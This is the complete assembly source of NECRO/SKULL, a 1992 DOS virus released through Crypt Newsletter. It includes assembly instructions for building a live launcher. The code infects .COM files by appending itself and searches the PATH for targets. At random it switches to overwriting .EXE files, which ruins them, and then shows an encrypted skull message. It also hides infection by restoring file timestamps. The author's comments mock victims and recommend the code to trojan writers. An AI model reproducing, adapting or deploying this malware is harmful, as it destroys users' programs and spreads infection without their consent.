396 lines
22 KiB
Plaintext
396 lines
22 KiB
Plaintext
; A86 SOURCE CODE for:
|
||
;
|
||
; ++===================================================++
|
||
; || NECRO (A.K.A. 'SKULL' virus) ||
|
||
; || The 666 byte Dual Replicator ||
|
||
; || DEC 1992 by Primal Fury, Lehigh Valley, PA ||
|
||
; ++===================================================++
|
||
; -=Prepared for Crypt Newsletter 11=-
|
||
;
|
||
; Here's a virus that's actually two viruses in one. The main virus is a
|
||
; a direct action, appending .COM infector. It will search the system path
|
||
; for .COMs to infect, and may infect files on the path in preference to
|
||
; to those in the current directory (if no path is set, it stays in the
|
||
; current directory). Roughly one out of every eight infections (on a ran-
|
||
; dom basis) will be non-standard. In these infections, NECRO will toggle to
|
||
; an overwriting .EXE infector.
|
||
;
|
||
;
|
||
; This .EXE infector is composed of much of the same code as the
|
||
; COM infector -- the virus alternates between the two modes of infection
|
||
; using a 'master switch' which is hooked up to a simple randomization
|
||
; engine. The master switch, when thrown, trips a series of auxilliary
|
||
; switches which alter the virus' behavior. This saves on bytes and is
|
||
; therefore much better than having the virus drop an entirely independent
|
||
; .EXE overwriter. I hope to expand upon this 'self-programming' concept
|
||
; in future viruses.
|
||
|
||
; Infected .COM's should function as intended after the viral code appended to
|
||
; them has finished doing its thing. But infected .EXE's are ruined. These
|
||
; (provided they are under about 64K in length) will, when executed, pass
|
||
; their illness on to the next uninfected .EXE within the current directory,
|
||
; displaying the following graphic & message:
|
||
|
||
; ÜÜÛÛÛÛÛÛÛÛÜÜ
|
||
; ÜÛÛÛÛÛ²ÛÛÛÛÛÛÛÛ
|
||
;ÞÛ²ÛÛÛÛÛÛÛÛÛÛÛÛÛÝ You cant execute this file:
|
||
;ÞÛÛÛÛÛ²²ÛÛÛß Û Its already dead!
|
||
; ÛÛÛÛÛÛ²²ÛÛÜÜÜÛß
|
||
; ÛÛÛÛ²²ß²ÛÛÛÛÝ
|
||
; ßßÛÛ²²ÜÞ²ÛÛÛÝ
|
||
; ²²ÝÝÝ
|
||
|
||
; SKULL will then return the baffled user to the DOS prompt. I leave it to
|
||
; your imagination to picture the consternation on the novice's face
|
||
; as he tries to isolate the source of this overwriting infection which
|
||
; seems to pop up again and again in different directories. A very
|
||
; observant user may notice a file length increase of exactly 666 bytes in
|
||
; infected .COM's. Infected .EXE's will not increase in length unless they
|
||
; are less than ~200 bytes to begin with. Note that overwritten .EXE's larger
|
||
; than 64K will fail to load and will be non-infectious. Like Popoolar
|
||
; Science, the virus renders these programs into a .COM-like in structure.
|
||
; DOS will NOT execute these files. In any case, the programs are ruined
|
||
; by SKULL. As of this release, NECRO avoids files that are read-only or
|
||
; hidden, so these files are be safe from the virus (for now...)
|
||
|
||
; CREDITS: DARK ANGEL -- for his COM infector replicatory code. (D.A.)
|
||
; NOWHERE MAN -- for his VCL 1.0's path-searching routine. (N.M.)
|
||
;
|
||
;
|
||
; Except where noted, I have commented the code with the novice
|
||
; programmer in mind. In the places so noted, D.A.'s and N.M.'s com-
|
||
; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been
|
||
; left intact.
|
||
|
||
; To assemble, use Isaacson's A86 to generate a .COMfile directly from
|
||
; this listing. You will have a live NECRO launcher. MASM/TASM
|
||
; compatible assemblers will require the addition of a declarative pair.
|
||
;
|
||
; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT,
|
||
; SCAN, or F-PROT 2.0x:
|
||
; [Necro]
|
||
; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0
|
||
|
||
|
||
Start: db 0e9h ; jump to find_start
|
||
dw 0
|
||
Find_start: call next ;common technique to allow virus to
|
||
next: pop bp ;find its own code. On exit, bp
|
||
sub bp, offset next ;points to start of code.
|
||
lea si, [bp+offset stuff] ;Prepare to restore orig. 3 bytes.
|
||
mov di, 100h ;push 100h, where all COMs start in
|
||
push di ;memory, & where control will be
|
||
;returned to host file.
|
||
movsw ;restore the 3 bytes formerly relo-
|
||
movsb ;cated by the virus upon infection.
|
||
mov di,bp ;point DI to start of virus.
|
||
lea dx, [bp+offset dta] ;set new Disk Transfer Address, so
|
||
call set_dta ;virus won't fuck up original.
|
||
call search_files ;call path-search/infection routine.
|
||
jmp quit ;when done, return control to
|
||
;host file.
|
||
|
||
;Nowhere Man's VCL 1.0 path search routine, slightly modified for
|
||
;compatibility with Dark Angel's code, and with 'master infection-mode
|
||
;switch' added. N.M.'s original comments have been retained for your
|
||
;enlightenment.
|
||
|
||
search_files:
|
||
mov bx,di ; BX points to the virus
|
||
push bp ; Save BP
|
||
mov byte ptr [bp+offset pathstore],'\' ;Start with a backslash
|
||
mov ah,047h ; DOS get current dir function
|
||
xor dl,dl ; DL holds drive # (current)
|
||
lea si,[bp+offset pathstore+1] ; SI points to 64-byte buffer
|
||
int 021h
|
||
call traverse_path ; Start the traversal
|
||
|
||
traversal_loop:
|
||
cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
|
||
je done_searching ; If so then we're done
|
||
call found_subdir ; Otherwise copy the subdirectory
|
||
mov ax,cs ; AX holds the code segment
|
||
mov ds,ax ; Set the data and extra
|
||
mov es,ax ; segments to the code segment
|
||
xor al,al ; Zero AL
|
||
stosb ; NULL-terminate the directory
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[bp+offset pathstore+65] ; DX points to the directory
|
||
int 021h
|
||
|
||
;The Master Switch, tied whimsically to the system clock:
|
||
|
||
mov ah,2ch ;DOS get system time.
|
||
int 21h ;
|
||
cmp dl,13 ;is 1/100th second > 13?
|
||
jg call_infector ;if so, stay in COM infector
|
||
;mode (the default).
|
||
mov si,3 ;throw switch for EXE infect.
|
||
|
||
;back to Nowhere Man's code:
|
||
|
||
call_infector:
|
||
push di
|
||
call find_files ; Try to infect a file.
|
||
pop di
|
||
jnc done_searching ; If successful, exit
|
||
jmp short traversal_loop ; Keep checking the PATH
|
||
|
||
done_searching:
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[bp+offset pathstore] ; DX points to old directory
|
||
int 021h
|
||
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
|
||
jne at_least_tried ; If not, exit
|
||
stc ; Set carry flag for failure
|
||
|
||
at_least_tried:
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
|
||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||
|
||
|
||
traverse_path:
|
||
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
||
xor di,di ; DI holds the starting offset
|
||
|
||
find_path:
|
||
lea si,[bx + ath_string] ; SI points to "PATH="
|
||
lodsb ; Load the "P" into AL
|
||
mov cx,08000h ; Check the first 32767 bytes
|
||
repne scasb ; Search until the byte is found
|
||
mov cx,4 ; Check the next four bytes
|
||
|
||
check_next_4:
|
||
lodsb ; Load the next letter of "PATH="
|
||
scasb ; Compare it to the environment
|
||
jne find_path ; If there not equal try again
|
||
loop check_next_4 ; Otherwise keep checking
|
||
|
||
mov word ptr [bx + path_ad],di ; Save the PATH address
|
||
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
|
||
ret ; Return to caller
|
||
|
||
ath_string db "PATH=" ; The PATH string to search for
|
||
path_ad dd ? ; Holds the PATH's address
|
||
|
||
found_subdir:
|
||
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
|
||
lea di,[bp+offset pathstore+65] ; DI points to the work buffer
|
||
push cs ; Transfer CS into ES for
|
||
pop es ; byte transfer
|
||
|
||
move_subdir:
|
||
lodsb ; Load the next byte into AL
|
||
cmp al,';' ; Have we reached a separator?
|
||
je moved_one ; If so we're done copying
|
||
or al,al ; Are we finished with the PATH?
|
||
je moved_last_one ; If so get out of here
|
||
stosb ; Store the byte at ES:DI
|
||
jmp short move_subdir ; Keep transfering characters
|
||
|
||
moved_last_one:
|
||
xor si,si ; Zero SI to signal completion
|
||
|
||
moved_one:
|
||
mov word ptr es:[bx + path_ad],si ; Store SI in the path address
|
||
ret ; Return to caller
|
||
|
||
|
||
|
||
;O.K. -- Now here's an important 'architectural' point: The following
|
||
;code (down to the next inset) will never be executed within the COM
|
||
;appender (that viral code jumps over it). It will, however be the first
|
||
;thing executed within overwritten EXE files. Why? Because in EXE infec-
|
||
;tion mode, everything from EXFECT on down (but nothing previous) is
|
||
;written over the beginning of the EXE host file.
|
||
|
||
exfect: call next_two ;Here again we see the old trick
|
||
;for pointing BP to start of
|
||
next_two: pop bp ;viral code. (possibly should
|
||
sub bp, offset next_two ;have been subroutined [?]).
|
||
mov si,3 ;throw master switch for EXE
|
||
;infection, so infection code
|
||
;below knows to use that mode!
|
||
lea dx,[bp+offset dta] ;set DTA: This would normally
|
||
call set_dta ;be utterly ridiculous (!) in an
|
||
;overwriting virus but is used
|
||
;here to maintain compatibility
|
||
;with the infection code.
|
||
call find_files ;try to infect another EXE.
|
||
jmp prequit ;display message & quit to DOS.
|
||
|
||
;Now we're back to Dark Angel's code, expanded to save & restore file
|
||
;date/time-stamp, and of course to accomodate the new EXE overwriting code
|
||
;and infection-mode 'switching system'. This is where infection actually
|
||
;takes place.
|
||
|
||
find_files:
|
||
|
||
push bp ;for compatibility with path-search.
|
||
mov ah, 4eh ;phunction phor phinding phirst phile
|
||
;that phits phile-mask.
|
||
tryanother:
|
||
lea dx, [bx+com_mask] ;by default, look for a .COM extension.
|
||
cmp si, 3 ;is the EXE infector switch thrown?
|
||
jne short look ;if not go on, else qeue up '*.EXE' mask
|
||
lea dx, [bp+exemask] ;in place of '*.COM'.
|
||
|
||
look:
|
||
xor cx, cx ;attribute mask - find only normal
|
||
int 21h ;attributes.
|
||
jnc open_file ;Have we run out of candidates in this
|
||
pop bp ;directory? If not go on, else return.
|
||
ret ;note: a candidate file matches the file
|
||
;mask & has normal attributes.
|
||
open_file:
|
||
mov ax, 3D02h ;DOS open file function.
|
||
lea dx, [bp+offset dta+30] ;get file name out of DTA (put there
|
||
;for us by the 4eh or 4fh function).
|
||
int 21h
|
||
xchg ax, bx
|
||
mov ah, 3fh ;read the first 3 bytes of file & put
|
||
lea dx, [bp+stuff] ;them in 'stuff' buffer, where we can
|
||
mov cx, 3 ;inspect them for previous infection.
|
||
int 21h
|
||
cmp si,3 ;is the EXE infector switch thrown?
|
||
jne short comcheck ;if not, use the COM file checker.
|
||
mov di,dx ;otherwise, check EXE for infection.
|
||
cmp byte ptr [di], 4dh ;is the first byte of the EXE an 'M'?
|
||
jne short searchloop ;no? then already fucked. Keep looking.
|
||
jmp infect_file ;otherwise let's infect it.
|
||
|
||
comcheck: ;DARK ANGEL'S COMMENTS:
|
||
mov ax, word ptr [bp+dta+26] ;"ax = filesize
|
||
mov cx, word ptr [bp+stuff+1] ;jmp location
|
||
add cx, eov - find_start + 3 ;convert to filesize
|
||
cmp ax, cx ;if same, already infected
|
||
jnz short infect_file ;so quit out of here"
|
||
|
||
searchloop:
|
||
call close ;close the file.
|
||
mov ah, 4fh ;DOS 'find next file' function.
|
||
jmp short tryanother ;go back up & try to find new victim.
|
||
|
||
infect_file:
|
||
mov cx, word ptr [bp+dta+22] ;Read file date & time
|
||
mov dx, word ptr [bp+dta+24] ;stamps from DTA & store
|
||
push cx ;them for retrieval after
|
||
push dx ;infection is complete.
|
||
cmp si, 3 ;branch if this is to be
|
||
jne short comfect ;a COM infection. other-
|
||
;wise, we now replicate the
|
||
;EXE overwriting virus.
|
||
xor al, al ;go to the beginning of
|
||
call f_ptr ;the file.
|
||
mov ah, 40h ;write to file function.
|
||
mov cx, eov - exfect ;write EXFECT through EOV
|
||
lea dx, [bp+exfect] ;to the EXE file. [another
|
||
int 21h ;EXE is now our slave.]
|
||
jmp short finishfect ;now, finish up.
|
||
|
||
comfect: ;COM infection routine.
|
||
;SAYETH DARK ANGEL:
|
||
;"Calculate the offset of the jmp.
|
||
sub ax, 3 ;ax = filesize - 3"
|
||
mov word ptr [bp+writebuffer], ax ;store jump offset in buffer.
|
||
xor al, al ;null AL (write will start
|
||
call f_ptr ;at byte 0 of file. move
|
||
;file pointer there).
|
||
mov ah, 40h ;write to file function.
|
||
mov cx, 3 ;we'll write 3 bytes, namely
|
||
lea dx, [bp+e9] ;the contents of E9 buffer.
|
||
int 21h ;victim file now begins with
|
||
;a jump to the viral code!
|
||
mov al, 2 ;now move file pointer to
|
||
call f_ptr ;the end of the victim file.
|
||
mov ah, 40h ;write to file again.
|
||
mov cx, eov - find_start ;Namely, write the main
|
||
lea dx, [bp+find_start] ;viral code.
|
||
int 21h ;virus is now appended to
|
||
;the file.
|
||
finishfect: ;now to clean up a little.
|
||
pop dx ;get old file date/time-
|
||
pop cx ;stamp off of stack.
|
||
mov ax, 5701h ;DOS set file date/time
|
||
int 21h ;stamp. (Otherwise, they
|
||
;would be left set to date
|
||
;& time of infection).
|
||
pop bp ;path-searcher will want
|
||
;it's old bit pointer back.
|
||
close:
|
||
mov ah, 3eh ;DOS close file function.
|
||
int 21h
|
||
ret ;return to CALL_INFECTOR.
|
||
|
||
;end of infection routine.
|
||
|
||
primal db "½ÎÅÃÒϽ¡ âù Ðòéíáì Æõòù" ;an encrypted text
|
||
;string, mainly here to pad appended virus length out to 666
|
||
;bytes. 'Tight Code' purists will shit a brick over this.
|
||
|
||
;the COM infector never uses the PREQUIT routine below. Only the EXFECT
|
||
;routine (which is only used by the EXE overwriting virus, for reasons ex-
|
||
;plained in the inset above EXFECT) jumps to it. It's the EXE infector's
|
||
;message payload. PREQUIT uses a simple encryption/decryption mechanism
|
||
;to keep the message hidden from file viewers & such. It may have been
|
||
;better (albeit a bit costlier in speed & bytes) to encrypt the entire
|
||
;virus (preferably, with polymorphic capabilities tossed in). I hope to
|
||
;make this mod in my next variant. But for now, trojan programmers might
|
||
;find this routine of interest:
|
||
|
||
prequit:
|
||
lea si,[bp+offset msg] ;queue up message to be displayed.
|
||
mov cx,204 ;CX holds length of message.
|
||
|
||
xorloop: ;loop will decrypt & display message.
|
||
lodsb ;load next byte of message into AL.
|
||
xor al,128 ;XOR the byte by our key.
|
||
mov ah,0eh ;BIOS 'teletype' write to screen (the
|
||
int 10h ;the character is already in AL).
|
||
loop xorloop ;loop until CX's # of bytes processed.
|
||
mov ax,4c00h ;exit to DOS function, will return
|
||
int 21h ;user to DOS prompt.
|
||
|
||
; Here's the encrypted version of our 'can't execute' message. Note that
|
||
; this odd byte pattern may look suspicious to someone in the know using a
|
||
; file viewer, but then, so would the unencrypted file_masks and "PATH="!
|
||
|
||
msg db "<22>Š \\[[[[[[[[\\<5C>Š \[[[[[2[[[[[[[[<5B>Š ^[2[[[[[[[["
|
||
db "[[[[[] Ùïõ ãáîô åøåãõôå ôèéó æéìåº<C3A5>Š ^[[[[[22[[[_"
|
||
db " [ Éôó áìòåáäù äåáä¡<C3A4>Š [[[[[[22[[\\\[_<>Š [["
|
||
db "[[22_2[[[[]<5D>Š __[[22\^2[[[]<5D>Š 22]]]<5D>Š"
|
||
|
||
; D.A. SAYS: "Restore the DTA and return control to the original program
|
||
quit: mov dx, 80h ;Restore current DTA to
|
||
;the default @ PSP:80h
|
||
set_dta:
|
||
mov ah, 1ah ;Set disk transfer address"
|
||
int 21h ;so, let it be written,
|
||
ret ;so, let it be done.
|
||
|
||
f_ptr: mov ah, 42h ;DOS move file pointer
|
||
xor cx, cx ;DARK ANGEL:
|
||
cwd ;"equivalent to: xor dx, dx"
|
||
int 21h
|
||
ret
|
||
|
||
exemask db "*.EXE",0 ;file-mask for EXEs.
|
||
|
||
; All commentary from here down is the DARKANGELMEISTER's. Hope you found
|
||
; the code useful and/or informative. P.F. signing off...
|
||
|
||
; Original three bytes of the infected file
|
||
; Currently holds a INT 20h instruction and a null byte
|
||
stuff db 0cdh, 20h, 0
|
||
e9 db 0e9h
|
||
eov equ $ ; End of the virus
|
||
; The following variables are stored in the heap space (the area between
|
||
; the stack and the code) and are not part of the virus that is written
|
||
; to files.
|
||
writebuffer dw ? ; Scratch area holding the
|
||
; JMP offset
|
||
dta db 42 dup (?)
|
||
pathstore db 135 dup (?)
|